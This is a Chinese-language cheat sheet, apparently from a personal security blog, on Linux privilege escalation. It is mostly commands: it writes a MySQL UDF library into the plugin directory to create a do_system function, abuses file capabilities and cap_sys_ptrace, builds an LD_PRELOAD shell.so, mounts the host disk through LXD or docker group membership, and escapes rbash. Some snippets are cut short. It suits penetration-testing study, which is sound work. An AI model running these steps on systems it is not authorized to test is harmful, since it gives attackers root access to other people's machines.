linux提权-2
linux提权-2
信息收集工具:
https://github.com/rebootuser/LinEnum
数据库提权
Mysql提权方式:
1 | 编译UDF.so |
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
连接进行导出调用
1 | mysql -u账号 -p密码 |
show variables like ‘%secure%’;//查看可导出文件的位置这条命令执行后,查看secure_file_priv 是否开启,如果开启,将无法写入文件,则无法提权
创建shell表
1 | create table shell(line blob); |
往shell表中插入二进制的 udf.so
1 | insert into shell values(load_file('/tmp/udf.so')); |
导出 udf.so
1 | select * from shell into dumpfile '/usr/lib/mysql/plugin/udf.so'; #将/tmp/udf.so放到/usr/lib/mysql/plugin/中 |
创建do_system函数
1 | create function do_system returns integer soname 'udf.so'; |
Capability
相当于SUID的升级版
可以理解为水平权限的分离。以往如果需要某个程序的某个功能需要特权,我们就只能使用root来执行或者给其增加SUID权限,一旦这样,我们等于赋予了这个程序所有的特权,这是不满足权限最小化的要求的;在引入capabilities后,root的权限被分隔成很多子权限,这就避免了滥用特权的问题
1 | cp /usr/bin/php /tmp/php |
1,SUID利用
1 | cp $(which php) . |
前者为程序,后者为特权,如果特权足够大,将会导致提权
2,进程注入
1 | usr/bin/python2.7 = cap_sys_ptrace+ep |
利用方法:
利用usr/bin/python2.7去跟踪一个root权限的进程,来获取权限
所以需要写一个进程注入脚本
LD_Preload加载
LD_Preload是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序前优先加载的动态链接库,所谓的动态链接库其实就是DLL文件(linux为SO文件)
利用原理:
因为允许你定义在程序前优先加载的动态链接库,所以自己写一个so文件,让其加载
在etc/sudoers文件中存在两个信息
1 | DEfaults env_keep += LD_PRELOAD #设置LD_Preload权限的开启 |
注意:这里/usr/bin/find可以是任何文件,也可能是第三方文件,如果真是find,那么就不会用到此提权手法了
1 | //shell.c |
编译
1 | gcc -fPIC -shared -o shell.so shell.c -nostartfiles |
相当于sudo提权的升级版
LXD容器
原理:
LXD是基于LXC容器的管理程序,当前用户可操作容器,
理解为用户创建一个容器,再用容器挂载宿主机磁盘,
最后使用容器权限操作宿主机磁盘内容达到提权效果。
LXD提权条件:
- 已经获得shell
- 用户属于LXD组
利用手法:
创建容器,挂载磁盘,进入容器,进入目录提权
1 | 向被攻击机传入镜像alpine-v3.13.x86_64-20210218_0139.tar.gz,如果有网可直接在shell中拉取 |
docker容器
提权条件:
- 获得shell
- 用户属于docker组
创建容器,挂载磁盘,进入容器,进入目录提权
1 | docker run -v /:/mnt -it alpine #随便拉一个镜像 |
rbash绕过
https://www.cnblogs.com/yuy0ung/articles/18305203
1 | awk 'BEGIN {system("/bin/bash")}' |